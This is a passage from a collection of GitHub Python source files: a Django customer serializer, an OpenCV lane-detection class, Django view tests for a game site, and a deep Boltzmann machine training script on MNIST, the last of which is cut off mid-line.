address_data:\n            Address.create_or_update_for(self.instance, address_data)\n\n        if identification_data:\n            identification = save_identification(identification_data)\n            validated_data[\"identification\"] = identification\n\n        return super(CustomerEditSerializer, self).update(instance, validated_data)\n\n\nclass CustomerListSerializer(ListModelSerializer):\n\n    user = UserDetailSerializer()\n\n    class Meta:\n        model = Customer\n        fields = [\"user\", \"order_count\", \"last_order_at\"]\n\n    def get_select_related_fields(self):\n        return [\"user\", ]\n\n\nclass CustomerDetailSerializer(CustomerListSerializer):\n    address = AddressDetailSerializer()\n\n    class Meta(CustomerListSerializer.Meta):\n        fields = CustomerListSerializer.Meta.fields + [\"total_spending\", \"average_spending_per_order\", \"address\"]\n\n\nclass CustomerOrderDetailSerializer(ListModelSerializer):\n    user = UserDetailSerializer()\n\n    class Meta:\n        model = Customer\n        fields = [\"user\", ]\n\n    def get_select_related_fields(self):\n        return [\"user\", ]\n\n\ndef identification_validation(serializer, attrs, instance=None):\n    identification = attrs.get(\"identification\", None)\n    date_of_birth = attrs[\"user\"][\"date_of_birth\"] if \"user\" in attrs and \"date_of_birth\" in attrs[\"user\"] \\\n        else instance.user.date_of_birth\n\n    if not identification:\n        return attrs\n\n    identification_id = identification.id if type(identification) == Identification else identification.get(\n        \"id\")\n\n    if identification_id and Customer.objects.filter(identification_id=identification_id).exclude(\n            user_id=instance.user_id).exists():\n        serializer.raise_validation_error(\"Customer\", \"This identification is used by different customer\")\n\n    return attrs\n\n\ndef save_identification(data, instance=None):\n    if not data:\n        instance.identification.delete()\n        return None\n\n    if \"id\" in data:\n        serializer = IdentificationEditSerializer(instance=instance.identification, data=data)\n        identification = serializer.update(instance.identification, data)\n        return identification\n\n    serializer = IdentificationCreateSerializer(data=data)\n    identification = serializer.create(data)\n\n    return identification\n","repo_name":"AndrewClinks/clinks-Api","sub_path":"clinks-Api-main/clinks/api/customer/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3646745871","text":"import cv2\nimport numpy as np\nimport time\nimport Data\n# import\n\n\nclass LANEDetection:\n    def __init__(self, drive_data: Data.DataControl, img_size=[200, 360]):\n        self.drive_data = drive_data\n        self.img_size = img_size\n        # self.points = []\n\n        self.clip_value = 100\n        self.nwindows = 8\n        self.window_half_width = 60\n        self.show = True\n        # self.src = np.float32([[20, 200],\n        #           [350, 200],\n        #           [275, 120],\n        #           [85, 120]])\n        # self.src = np.float32([[10, 200],\n        #           [350, 200],\n        #           [275, 120],\n        #           [85, 120]])\n        # self.src = np.float32([[0, 200],\n        #           [360, 200],\n        #           [310, 120],\n        #           [50, 120]])\n\n        # good\n        # self.src = np.float32([[0, 200],\n        #           [360, 200],\n        #           [310, 120],\n        #           [50, 120]])\n\n        # self.src = np.float32([[0, 200],\n        #           [360, 200],\n        #           [300, 100],\n        #           [60, 100]])\n\n        self.src = np.float32([[0, 200],\n                               [360, 200],\n                               [300, 120],\n                               [60, 120]])\n\n        # self.src = np.float32([[0, 299],\n        #            [399, 299],\n        #            [320, 200],\n        #            [80, 200]])\n\n        self.src_draw = np.array(self.src, dtype=np.int32)\n\n        self.dst = np.float32([[0, img_size[0]],\n                               [img_size[1], img_size[0]],\n                               [img_size[1], 0],\n                               [0, 0]])\n\n    def run(self, frame: np.array):\n        frame = frame.copy()\n        img_size = self.img_size\n        # if frame is None:\n        #     return None\n        # frame.\n        frame = cv2.resize(frame, (self.img_size[1], self.img_size[0]))\n        warped = self.warp(frame)\n        frame = self.thresh(warped.copy())\n        points, out_img = self.detect(frame)\n        p_s = len(points)\n        err = 0\n        err2 = 0\n        if (p_s > 0):\n            qq = p_s//8*4\n            cv2.circle(out_img,(int(points[qq-1][0]),int(points[qq-1][1])),2,(0,80,255),1)\n            cv2.circle(out_img,(int(points[p_s-1][0]),int(points[p_s-1][1])),2,(0,80,255),1)\n            err2 = self.img_size[1]//2-(points[p_s-1][0]+points[qq-1][0])/2+10\n            err = points[p_s-1][0]-points[qq-1][0]\n        # if show==True:\n        #     cv2.imshow(\"CenterLine\",out_img)\n        # crop = warped[warped.shape[0]-200:warped.shape[0], warped.shape[1]//10*5-50:warped.shape[1]//10*5+50].copy()\n        # su = np.sum(crop[:, :])\n        # print(\"su\", su)\n        su2 = 0\n        ccc = img_size[1]//2\n        if (p_s > 0):\n            ccc = (points[p_s-1][0]+points[qq-1][0])//2\n        ccc = img_size[1]//2\n        yyyyy= 70\n        \n        crop2 = warped[yyyyy:yyyyy+80, int(ccc-40):int(ccc+40)]\n        cv2.circle(out_img,(int(ccc),int((yyyyy + yyyyy+ 70)/2)),2,(0,255,255),3)\n        su2 = np.sum(crop2[:, :])\n        # yyyyy= 0\n        self.drive_data.set(\"e1\", err)\n        self.drive_data.set(\"e2\", err2)\n        return out_img\n\n    def warp(self, img):\n        M = cv2.getPerspectiveTransform(self.src, self.dst)\n        warped = cv2.warpPerspective(\n            img, M, (self.img_size[1], self.img_size[0]), flags=cv2.INTER_LINEAR)\n        return warped\n\n    def thresh(self, img):\n        img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n        img[(img < self.clip_value)] = self.clip_value\n        # cv2.clip\n        img_blur = cv2.medianBlur(img, 5)\n        \n        # if self.show==True:\n        #     cv2.imshow(\"warpedq\",img_blur)\n        # cv2.imshow(\"warped1\",warped)\n        # warped = cv2.adaptiveThreshold(warped,255,cv2.ADAPTIVE_THRESH_MEAN_C,\\\n        #     cv2.THRESH_BINARY_INV,5,2)\n        \n        img = cv2.adaptiveThreshold(img_blur, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C,\n                                    cv2.THRESH_BINARY_INV, 5, 2)\n\n        # element = cv2.getStructuringElement(cv2.MORPH_RECT, (1, 1))\n        # kernel = np.ones((10,10),np.uint8)\n        img = cv2.erode(img, np.ones((1, 1), np.uint8))\n        # warped = cv2.dilate(warped,np.ones((1,1),np.uint8),iterations = 1)\n        # warped =\n        # warped = self.thresh(warped)\n        # warped = cv2.morphologyEx(warped, cv2.MORPH_OPEN, np.ones((3,3),np.uint8))\n        img = cv2.medianBlur(img, 3)\n        return img\n\n    def detect(self, warped):\n        histogram = np.sum(warped[warped.shape[0]//2:, :], axis=0)\n\n        midpoint = histogram.shape[0]//2\n        IndWhitestColumnL = np.argmax(histogram[:midpoint])\n        IndWhitestColumnR = np.argmax(histogram[midpoint:])+midpoint\n        warped_visual = warped.copy()\n        # if self.show==True:\n        #     cv2.line(warped_visual, (IndWhitestColumnL,0), (IndWhitestColumnL,warped_visual.shape[0]), 110, 2)\n        #     cv2.line(warped_visual, (IndWhitestColumnR, 0), (IndWhitestColumnR, warped_visual.shape[0]), 110, 2)\n        #     cv2.imshow(\"WitestColumn\",warped_visual)\n\n        window_height = np.int(warped.shape[0]/self.nwindows)\n\n        XCenterLeftWindow = IndWhitestColumnL\n        XCenterRightWindow = IndWhitestColumnR\n\n        left_lane_inds = np.array([], dtype=np.int16)\n        right_lane_inds = np.array([], dtype=np.int16)\n\n        out_img = np.dstack((warped, warped, warped))\n\n        nonzero = warped.nonzero()\n        WhitePixelIndY = np.array(nonzero[0])\n        WhitePixelIndX = np.array(nonzero[1])\n\n        for window in range(self.nwindows):\n\n            win_y1 = warped.shape[0] - (window+1) * window_height\n            win_y2 = warped.shape[0] - (window) * window_height\n\n            left_win_x1 = XCenterLeftWindow - self.window_half_width\n            left_win_x2 = XCenterLeftWindow + self.window_half_width\n            right_win_x1 = XCenterRightWindow - self.window_half_width\n            right_win_x2 = XCenterRightWindow + self.window_half_width\n\n            if self.show == True:\n                cv2.rectangle(out_img, (left_win_x1, win_y1),\n                              (left_win_x2, win_y2), (50 + window * 21, 0, 0), 2)\n                cv2.rectangle(out_img, (right_win_x1, win_y1),\n                              (right_win_x2, win_y2), (0, 0, 50 + window * 21), 2)\n                # cv2.imshow(\"windows\",out_img)\n\n            good_left_inds = ((WhitePixelIndY >= win_y1) & (WhitePixelIndY <= win_y2) &\n                              (WhitePixelIndX >= left_win_x1) & (WhitePixelIndX <= left_win_x2)).nonzero()[0]\n\n            good_right_inds = ((WhitePixelIndY >= win_y1) & (WhitePixelIndY <= win_y2) &\n                               (WhitePixelIndX >= right_win_x1) & (WhitePixelIndX <= right_win_x2)).nonzero()[0]\n\n            left_lane_inds = np.concatenate((left_lane_inds, good_left_inds))\n            right_lane_inds = np.concatenate(\n                (right_lane_inds, good_right_inds))\n\n            if len(good_left_inds) > 50:\n                XCenterLeftWindow = np.int(\n                    np.mean(WhitePixelIndX[good_left_inds]))\n            if len(good_right_inds) > 50:\n                XCenterRightWindow = np.int(\n                    np.mean(WhitePixelIndX[good_right_inds]))\n\n        if self.show == True:\n            out_img[WhitePixelIndY[left_lane_inds],\n                    WhitePixelIndX[left_lane_inds]] = [255, 0, 0]\n            out_img[WhitePixelIndY[right_lane_inds],\n                    WhitePixelIndX[right_lane_inds]] = [0, 0, 255]\n\n        #     cv2.imshow(\"Lane\",out_img)\n\n        leftx = WhitePixelIndX[left_lane_inds]\n        lefty = WhitePixelIndY[left_lane_inds]\n        rightx = WhitePixelIndX[right_lane_inds]\n        righty = WhitePixelIndY[right_lane_inds]\n        center_fit = []\n        points = []\n        if (len(lefty) > 10) and (len(leftx) > 10) and (len(righty) > 10) and (len(rightx) > 10):\n            left_fit = np.polyfit(lefty, leftx, 2)\n            right_fit = np.polyfit(righty, rightx, 2)\n\n            center_fit = ((left_fit+right_fit)/2)\n            points = []\n            for ver_ind in range(out_img.shape[0]):\n                gor_ind = ((center_fit[0]) * (ver_ind ** 2) +\n                           center_fit[1] * ver_ind +\n                           center_fit[2])\n\n                # cv2.circle(out_img,(int(gor_ind),int(ver_ind)),2,(255,0,255),1)\n                points.append([gor_ind, ver_ind])\n        return points, out_img\n","repo_name":"vas0x59/nti_autonet_2020_auto","sub_path":"LANEDetection.py","file_name":"LANEDetection.py","file_ext":"py","file_size_in_byte":8426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30444437098","text":"from django.test import TestCase\nfrom django.test.utils import override_settings\nfrom django.urls import reverse\n\nfrom camp.game.models import Chapter\nfrom camp.game.models import Game\n\n\nclass HomePageTests(TestCase):\n    def setUp(self):\n        self.game1 = Game.objects.create(\n            name=\"Game 1\",\n            description=\"The first game, which is open.\",\n            is_open=True,\n        )\n        self.game2 = Game.objects.create(\n            name=\"Game 2\",\n            description=\"The second game, which is closed.\",\n            is_open=False,\n        )\n        self.chapter1 = Chapter.objects.create(\n            game=self.game1,\n            slug=\"denver\",\n            name=\"Denver\",\n            is_open=True,\n        )\n        self.chapter2 = Chapter.objects.create(\n            game=self.game1,\n            slug=\"kansas\",\n            name=\"Kansas\",\n            is_open=False,\n        )\n        self.chapter3 = Chapter.objects.create(\n            game=self.game2,\n            slug=\"hawaii\",\n            name=\"Hawaii\",\n            is_open=True,\n        )\n        self.url = reverse(\"home\")\n\n    def test_get_game_one(self):\n        \"\"\"When the current site has a game attached, render the game home page.\"\"\"\n        with override_settings(GAME_ID=self.game1.id):\n            response = self.client.get(self.url)\n        self.assertTemplateUsed(response, \"game/game_home.html\")\n        self.assertContains(response, \"Game 1\")\n        self.assertContains(response, self.game1.description)\n        # Only open chapters are listed.\n        # self.assertContains(response, \"Denver\")\n        # self.assertNotContains(response, \"Kansas\")\n\n    def test_get_game_two(self):\n        with override_settings(GAME_ID=self.game2.id):\n            response = self.client.get(self.url)\n        self.assertTemplateUsed(response, \"game/game_home.html\")\n        self.assertContains(response, \"Game 2\")\n        self.assertContains(response, self.game2.description)\n        # Only open chapters are listed.\n        # self.assertNotContains(response, \"Denver\")\n        # self.assertContains(response, \"Hawaii\")\n","repo_name":"kw/camp","sub_path":"tests/camp/game/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35242584626","text":"from __future__ import print_function\n\n__docformat__ = 'restructedtext en'\n\nimport six.moves.cPickle as pickle\nimport gzip\nimport os\nimport sys\nimport timeit\nimport datetime\nimport copy\n\nimport numpy as np\nimport scipy as sp\nfrom scipy.special import expit as sigmoid\nimport matplotlib.pyplot as plt\nfrom sklearn.neural_network import MLPClassifier\n\ndef image_downsample(X, r_sample=2, threshold=0.3):\n    \"\"\"\n    Down sample the image\n    :param X: np array [N*M], N items, M pixels (flattened)\n    :param r_sample: ratio of dawn sampling, if 2, every other pixel\n    :return: X_ds, down sampled, [N* (M/r_sample**2)]\n    \"\"\"\n    [N, M] = X.shape\n    index_linear = np.arange(M)\n    X_ds = X[:, np.logical_and(index_linear%r_sample==1,\n                               np.floor((index_linear/np.sqrt(M)))%r_sample==1 )]\n    X_ds = 1.0*(X_ds>threshold)\n    return X_ds\n\ndef gen_label_array(y, K=0):\n    \"\"\"\n    Generate binary label array from label\n    :param y: label, 1D int array [N,], eg. [0,1,2]\n    :param K: number of unique labels\n    :return: Y, 2D binary label array [N,K], eg. [ [1,0,0], [0,1,0], [0,0,1] ]\n    \"\"\"\n    if K == 0:\n        K = y.max()+1\n    N = len(y)\n    Y = np.zeros([N,K])\n    Y[range(N), y] = 1\n    return Y\n\ndef process_data(data_in):\n    \"\"\"\n    down-sample image (X) and make label (y) a binary array\n    :param data_in: [X,y]\n    :return: [X,Y]\n    \"\"\"\n    [X,y] = data_in\n    X = image_downsample(X)\n    Y = gen_label_array(y)\n    return (X,Y)\n\n\ndef rc_plot(N_plot):\n    \"\"\"\n    calculate the [n_rows, n_cols] for subplot\n    :param N: number of pannels\n    :return: [n_rows, n_cols]\n    \"\"\"\n    Nc = np.ceil(np.sqrt(N_plot))\n    Nr = np.ceil(N_plot / Nc)\n    return [Nr, Nc]\n\n\ndef draw_processed_data_samples(X,Y,y):\n    N_plot = 20\n    [Nr, Nc] = rc_plot(N_plot)\n    for i in range(N_plot):\n        l = np.random.randint(0, N+1)\n        plt.subplot(Nr, Nc, i+1)\n        plt.imshow(X[l, :].reshape([14, 14]), cmap='Greys', interpolation='none')\n        plt.title(y[l])\n        plt.axis('off')\n\ndef draw_W(W, image_size=[14,14], clim_scale=1.0, N_plot=None):\n    if N_plot is None:\n        N_plot = W.shape[1]\n    [Nr, Nc] = rc_plot(N_plot)\n    for i in range(N_plot):\n        plt.subplot(Nr, Nc, i+1)\n        plt.imshow(W[:, i].reshape([14, 14]),  cmap='coolwarm', interpolation='none')\n        plt.clim(-clim_scale, clim_scale)\n        # plt.title(i)\n        plt.axis('off')\n\ndef sample_bern(p):\n    return ( np.random.rand(*p.shape)<p ).astype(float)\n\n\nclass DBM(object):\n    def __init__(self, widths, L=1, r_clone=None, masks_h=None, masks=None, Xs_ini=None, bs_ini=None, Ws_ini=None):\n        \"\"\"\n        Initialize network\n        :param L_width: Layer width, i.e. number of units in every layer, e.g., [50, 100, 10]\n        \"\"\"\n        # number of data points\n        self.L = L\n        # number of layers/hierarchies\n        self.H = len(widths)\n        # number of node at every layer e.g., a list [50,100,10])\n        self.widths = tuple(widths)\n        # shape of weight matrix at every neighboring layer, e.g. a list [ (100,50), (10,100) ]\n        self.shape_Ws = tuple(zip(widths[1:], widths[:-1] ))\n\n        # number of clones of the nodes in this layer, like importance score\n        if r_clone is None:\n            self.r_clone = np.ones(self.H)\n        else:\n            self.r_clone = r_clone\n\n        # Node value, binary values of every layer\n        if Xs_ini is None:\n            self.Xs = [ sample_bern( np.random.rand(L, width_h) ) for width_h in widths]\n        else:\n            self.Xs = Xs_ini\n\n        # tf (true/false) mask, whether the layer is hidden (1) or visible (0), or mixed (2)\n        if masks_h is None:\n            self.masks_h = tuple([0]*self.H)\n        else:\n            self.masks_h = masks_h\n\n        # tf (true/false) mask, whether the node is hidden (1) or visible (0)\n        # Note: this is only used when mask_h==2 for a layer\n        if masks is None:\n            self.masks = tuple([ self.masks_h[h] * np.ones(self.widths[h]) for h in range(self.H) ])\n        else:\n            self.masks = masks\n\n        # bias term value, continuous value of every layer\n        if bs_ini is None:\n            self.bs = [sample_bern(np.random.randn(width_h))/1000 for width_h in widths]\n        else:\n            self.bs = bs_ini\n\n        # Weight value, continuous values of every neighboring layer pairs, [width_out * width_in]\n        if Ws_ini is None:\n            self.Ws = [np.random.randn(*shape_W)/1000 for shape_W in self.shape_Ws]\n        else:\n            self.Ws = Ws_ini\n\n    def cal_E(self):\n        \"\"\"\n        calculate energy of Boltzmann model\n        :return: E(X,b,W)= - sum_i( b_i^T * X_i  +  X_{i+1}^T * W * X_i )\n        \"\"\"\n        E = np.zeros( self.L )\n        for h in range(self.H):\n            E = E- np.dot(self.Xs[h], self.bs[h]) * self.r_clone[h]\n        for h in range(self.H-1):\n            E = E-  np.sum(np.dot(self.Xs[h+1], self.Ws[h]) *  self.Xs[h], axis=1) * (self.r_clone[h]*self.r_clone[h+1])\n        return E\n\n\n    def cal_p_cdtn(self, h):\n        \"\"\"\n        p(X_h=1 | X_(h-1), X(h+1) )\n        conditional probability of the response of one layer conditioned on its neighboring layers\n        :param h: layer index\n        :return:\n        \"\"\"\n        # calculate  ( W * X_neighbor )\n        if h == 0:\n            WX = np.dot(self.Xs[h+1], self.Ws[h]) * self.r_clone[h+1]\n        elif h == self.H -1:\n            WX = np.dot(self.Xs[h-1], self.Ws[h-1].T) * self.r_clone[h-1]\n        else:\n            WX = np.dot(self.Xs[h-1], self.Ws[h-1].T) * self.r_clone[h-1] + np.dot(self.Xs[h+1], self.Ws[h]) * self.r_clone[h+1]\n        return sigmoid( WX + self.bs[h] )\n\n\n    def cal_psudo_llh(self):\n        \"\"\"\n        calculate psudo-log-likelihood\n        :return:  psudo log-likelihood of the network: mean(log (p(X_h|X_{h-1}, X_{h+1}) ) )\n        \"\"\"\n        sum_psedu_llh = 0\n        node_count    = 0\n        for h in range(self.H):\n            sum_psedu_llh =  sum_psedu_llh + np.sum( np.log(np.abs( self.cal_p_cdtn(h) - (1-self.Xs[h]) ) ), axis=1) * self.r_clone[h]\n            node_count    =  node_count    + self.widths[h] *  self.r_clone[h]\n        return sum_psedu_llh/node_count\n\n\n\n    def sample_layer(self, h, ignore_mask=False, tf_keep_p=False, tf_inplace=True, r_sample=1.0):\n        \"\"\"\n        sample the response of one single layer h: X_h\n        :param h: index of layer\n        :return: Xh: a binary array, response of one layer\n        \"\"\"\n        if ignore_mask == True:     ### assumes every node is visible\n            ph_cdtn = self.cal_p_cdtn(h)                   # p( X_h=1 | X_(h-1), X(h+1) )\n            if tf_keep_p:\n                Xh = ph_cdtn\n            else:\n                Xh = sample_bern(ph_cdtn)              # sample of X_h\n        else:                       ### use mask_h and mask to determine visible/hidden\n            if self.masks_h[h] == 0:            ## if visible, do nothing\n                Xh = self.Xs[h]\n            elif self.masks_h[h] == 1:          ## if hidden, sample based on neighboring layers\n                ph_cdtn = self.cal_p_cdtn(h)               # p( X_h=1 | X_(h-1), X(h+1) )\n                if tf_keep_p:\n                    Xh = ph_cdtn\n                else:\n                    Xh = sample_bern(ph_cdtn)          # sample of X_h\n            elif self.masks_h[h] == 2:          ## if mixed, use mask to determine\n                ph_cdtn = self.cal_p_cdtn(h)\n                if tf_keep_p:\n                    Xh_new = sample_bern(ph_cdtn)\n                else:\n                    Xh_new = ph_cdtn\n                Xh = self.Xs[h]*(1-self.masks[h]) + Xh_new* self.masks[h]\n\n        if r_sample != 1.0:\n            mask_sample = np.random.rand(*(Xh.shape))\n            Xh = Xh*mask_sample + self.Xs[h]*(1.0-mask_sample)\n\n        if tf_inplace == True:\n            self.Xs[h] = Xh\n\n        return Xh\n\n\n    def sample_layers(self, h_order=None, ignore_mask=False, tf_keep_p=False, r_sample=1.0):\n        \"\"\"\n        sample the response of all layers of the network\n        :param h_order: the order of sampling, if None, use randome orders\n        :param h_given: the layers that is given/visible\n        :return:\n        \"\"\"\n        if h_order is None:       # random schedule\n            h_order = np.random.permutation(self.H)\n        if h_order is 'up_down':  # ordered schedule, simultaneous bottom-up and top down, e.g. [0,4, 1,3, 2,2, 3,1, 4,0]\n            h_order = sum([[i, self.H-1-i] for i in range(self.H)], [])\n        # sample layer-by-layer\n        for h in h_order:\n            self.sample_layer(h, ignore_mask=ignore_mask, tf_keep_p=tf_keep_p, r_sample=r_sample)\n        return self.Xs\n\n\n    def cal_suff_stat(self):\n        \"\"\"\n        calculate the sufficient statistics of the model\n        :return:\n        \"\"\"\n        # first order stat: bias:\n        theta_b = [ np.mean(self.Xs[h], axis=0)               for h in range(self.H)   ]\n        theta_W = [ np.dot(self.Xs[h+1].T, self.Xs[h])/self.L for h in range(self.H-1) ]\n        theta = theta_b + theta_W\n        return theta\n\n\n    def theta_grad_CD(self, num_pos=1, num_neg=3, method_pos='gibbs'):\n        \"\"\"\n        Calculate the gradient of model parameters theta=[b,W], using the contrastive divergence algorithm\n        :param h_order: number of Gibbs iterations for the positive phase (samples conditioned on observation)\n        :param h_order: number of Gibbs iterations for the negative phase (samples unconditioned)\n        :return:\n        \"\"\"\n        # sample for positive phase and calculate suff_stat\n        for i in range(num_pos):\n            if method_pos is 'gibbs':\n                self.sample_layers(h_order='up_down', ignore_mask=False, tf_keep_p=False)\n            else:\n                self.sample_layers(h_order='up_down', ignore_mask=False, tf_keep_p=True)\n        suff_stat_pos = self.cal_suff_stat()\n\n        # sample for negative phase and calculate suff_stat\n        for i in range(num_neg):\n            self.sample_layers(h_order='up_down', ignore_mask=True)\n        suff_stat_neg = self.cal_suff_stat()\n\n        # gradient\n        theta_grad = [ suff_stat_pos[i]-suff_stat_neg[i] for i in range(len(suff_stat_pos))]\n        return theta_grad\n\n\n    def update_theta(self, theta_grad, lambda_grad=0.1, labmda_b=0.01, labmda_W=0.01):\n        \"\"\"\n        Update model parameters theta=[b,W]\n        :return:\n        \"\"\"\n        self.bs = [self.bs[h]*(1-labmda_b) + lambda_grad*theta_grad[h] for h in range(self.H)]\n        self.Ws = [self.Ws[h]*(1-labmda_W) + lambda_grad*theta_grad[h+self.H] for h in range(self.H-1)]\n\n\n\ndef mlp_eval(mlp, X, Y=None, tf_keep_p=False):\n    \"\"\"\n    Evaluate the response of multi-layer perceptron\n    :param mlp:\n    :param X: input\n    :param Y: output, if none, evalute the Y using network\n    :param tf_keep_p: if use continuouse probability 'p' instead of binary variables '~Bernoulli(p)'\n    :return: Xs: response at all layers\n    \"\"\"\n    Xs = []\n    Xs.append(X)\n    for h in range(1,mlp.n_layers_):\n        Xh = mlp.intercepts_[h-1] + np.dot( Xs[h-1], mlp.coefs_[h-1] )\n        Xh = sigmoid(Xh)\n        if h != mlp.n_layers_-1:\n            if tf_keep_p:\n                pass\n            else:\n                Xh = sample_bern(Xh)\n        else:\n            if Y is None:\n                Xh = (Xh==Xh.max(axis=1, keepdims=True)).astype('float')\n            else:\n                Xh = Y\n        Xs.append(Xh)\n    return Xs\n\n\n\"\"\" ============================== \"\"\"\n\n\"\"\" get dataset and process them \"\"\"\ntf_load_data = True\nif tf_load_data:\n\n    dataset='./data/mnist.pkl.gz'\n    with gzip.open(dataset, 'rb') as f:\n        train_set, valid_set, test_set = pickle.load(f)\n\n    [_,y]=train_set\n    [X,Y]=process_data(train_set)\n    [N,M] = X.shape\n    [_,K] = Y.shape\n\n\n\"\"\" train DBM parameters \"\"\"\nsize_minibatch = 20\nnum_minibatch = X.shape[0] / size_minibatch\n# M = [14*14]   # width of hidden layers\nM = [14*14, 64]   # width of hidden layers\n\n\"\"\" parameters to initialize DBM \"\"\"\nwidths = copy.copy(M)\nwidths.insert(0, X.shape[1])\nwidths.append(Y.shape[1])\nH = len(widths)\nmasks_h = [1]*H\nmasks_h[0] = 0\nmasks_h[-1] = 0\nmasks_h_predict = copy.copy(masks_h)\nmasks_h_predict[-1] = 1\n# r_clone = [1.0*widths[0]/r for r in widths]\n# r_clone = [1.0, 1.0, 1.0]\n# r_clone = [1.0, 1.0, 10.0]\nr_clone = [1.0, 1.0, 2.0, 10.0]\n\n\"\"\" creaat dbm object \"\"\"\ndbm = DBM(widths, L=size_minibatch, masks_h=masks_h, r_clone=r_clone)\ndbm_predict = DBM(widths, L=size_minibatch, masks_h=masks_h_predict, r_clone=r_clone)\n\n\n\"\"\" conjugate multi-layer-perceptron \"\"\"\ntf_use_mlp = True\n# tf_use_mlp = False\n\nif tf_use_mlp:\n    mlp = MLPClassifier(hidden_layer_sizes=(M), activation='logistic', max_iter=40, alpha=1e-4,\n                        solver='sgd', verbose=10, tol=1e-4, random_state=1,\n                        learning_rate_init=.1)\n    print('training mlp')\n    mlp.fit(X, y)\n    Xs_mlp = mlp_eval(mlp, X, tf_keep_p=False)\n    print('mlp score: {}'.format(mlp.score(X, y)))\n    dbm.masks_h = [0]*H\n\ncount = 0\nE = []\npsudo_llh = []\nr_err = []\nitrt_c = []\nitrt_r_err = []\nplt.ioff()\nfor idx_epoch in range(2):\n    for indx_minibatch in range(num_minibatch):\n        itrt_c.append(count)\n        \"\"\" current mini-batch \"\"\"\n        indx_data = range(indx_minibatch * size_minibatch, (indx_minibatch + 1) * size_minibatch)\n\n        if tf_use_mlp:\n            Xs_cur = [ Xs_mlp[h][indx_data, :] for h in range(dbm.H) ]\n        else:\n            Xs_cur = [None] * H\n            for h in range(H):\n                if h == 0:\n                    Xs_cur[h] = X[indx_data, :]\n                elif h == H-1:\n                    Xs_cur[h] = Y[indx_data, :]\n                else:\n                    Xs_cur[h] = np.zeros( [size_minibatch, widths[h]] )\n\n\n        \"\"\" train \"\"\"\n        dbm.Xs = copy.copy(Xs_cur)\n        # dbm.Xs = [Xs_mlp[0][indx_data, :], Xs_mlp[1][indx_data, :], Y[indx_data, :]]\n        dbm.update_theta(dbm.theta_grad_CD(method_pos='gibbs'), lambda_grad=0.01, labmda_b=0.01, labmda_W=0.0005)\n\n        \"\"\" training snapshot: W \"\"\"\n        if indx_minibatch % 500 == 0:\n            print(indx_minibatch)\n            draw_W(dbm.Ws[0].T, image_size=[14, 14], clim_scale=0.5)\n            plt.savefig('./temp_figs/temp_{}.pdf'.format(count))\n\n        \"\"\" training snapshot: E, psudo_llh \"\"\"\n        if indx_minibatch % 20 == 0:\n            Xs_cur_predict = copy.copy(Xs_cur)\n            for h in range(1, dbm_predict.H):\n                Xs_cur_predict[h] = Xs_cur_predict[h] * 0\n            dbm_predict.Xs = Xs_cur_predict\n            dbm_predict.bs = dbm.bs\n            dbm_predict.Ws = dbm.Ws\n            num_gibbs = 40\n            Y_hat_gibbs = np.zeros([size_minibatch, Y.shape[1], num_gibbs])\n            for i in range(num_gibbs):\n                for j in range(10):\n                    dbm_predict.sample_layers(h_order='up_down')\n                Y_hat_gibbs[:, :, i] = dbm_predict.cal_p_cdtn(h=dbm_predict.H-1)\n            Y_hat = np.mean(Y_hat_gibbs[:, :, num_gibbs/2:num_gibbs], axis=2)\n            y_hat = np.argmax(Y_hat + np.random.rand(*Y_hat.shape) / 10 ** 6, axis=1)\n            r_err.append(np.mean(y_hat != y[indx_data]))\n            itrt_r_err.append(count)\n\n        E.append(np.mean(dbm.cal_E()))\n        psudo_llh.append(np.mean(dbm.cal_psudo_llh()))\n        count = count + 1\n\nplt.figure(figsize=[8,4])\nplt.subplot(1, 2, 1)\nplt.plot(itrt_c,psudo_llh, c='k')\nplt.ylim([-0.6, -0.3])\nplt.xlabel('training iteration')\nplt.title('psudo-log-likelihood log(p~(X))')\nplt.subplot(1, 2, 2)\nplt.plot(itrt_r_err, r_err, c='k')\nplt.ylim([0, 1])\nplt.xlabel('training iteration')\nplt.title('classification error rate')\nplt.tight_layout()\nplt.savefig('./temp_figs/train_error.pdf')\n\n\"\"\" draw samples \"\"\"\nmasks_h_sample = [1]*H\nmasks_h_sample[-1] = 0\nplt.figure()\nfor label in range(10):\n    print('sampleing {}'.format(label))\n    dbm_sample = DBM(dbm.widths, L=1, masks_h=masks_h_sample, Xs_ini=None, bs_ini=dbm.bs, Ws_ini=dbm.Ws, r_clone=r_clone)\n    dbm_sample.Xs = [dbm_sample.Xs[h] * 0 for h in range(dbm.H)]\n    dbm_sample.Xs[-1] = gen_label_array([label], K=10)\n\n    N_sample = 10\n    N_gap = 20\n    samples = np.zeros([N_sample, X.shape[1]])\n    for i_sample in range(N_sample):\n        samples[i_sample, :] = dbm_sample.sample_layer(h=0, tf_keep_p=True, tf_inplace=False)\n        plt.subplot2grid([10,N_sample], [label,i_sample])\n        plt.imshow( np.reshape(samples[i_sample,:], [14,14]), cmap='gray', interpolation='none', vmin=0, vmax=1)\n        plt.axis('off')\n        for i_gap in range(N_gap):\n            dbm_sample.sample_layers(r_sample=1.0)\nplt.savefig('./temp_figs/sample.pdf')\n# plt.close()\n\nplt.ion()\n\n\"\"\" ===== below are old codes =====\"\"\"\n\nif False:\n    draw_processed_data_samples(X,Y,y)\n\nif False:\n    dbm = DBM([2, 4, 1], L=5)\n    # print(dbm.Ws)\n\nif False:\n    size_minibatch = 100\n    dbm = DBM([X.shape[1], Y.shape[1]], L=size_minibatch)\n    E = []\n    r_err = []\n    for indx_minibatch in range(500):\n        if indx_minibatch%10==0:\n            print(indx_minibatch)\n        indx_data = range(indx_minibatch * size_minibatch, (indx_minibatch+1) * size_minibatch)\n        dbm.Xs = [ X[indx_data, :], Y[indx_data, :] ]\n        dbm.update_theta(dbm.theta_grad_CD(), labmda_b=0.01, labmda_W=0.001)\n\n\n        dbm_predict = copy.deepcopy(dbm)\n        dbm_predict.masks_h = [0, 1]\n        dbm_predict.Xs = [ X[indx_data, :], dbm.Xs[1] ]\n        num_gibbs = 10\n        Y_hat_gibbs = np.zeros([size_minibatch, Y.shape[1], num_gibbs])\n        for i in range(num_gibbs):\n            Y_hat_gibbs[:, :, i] = 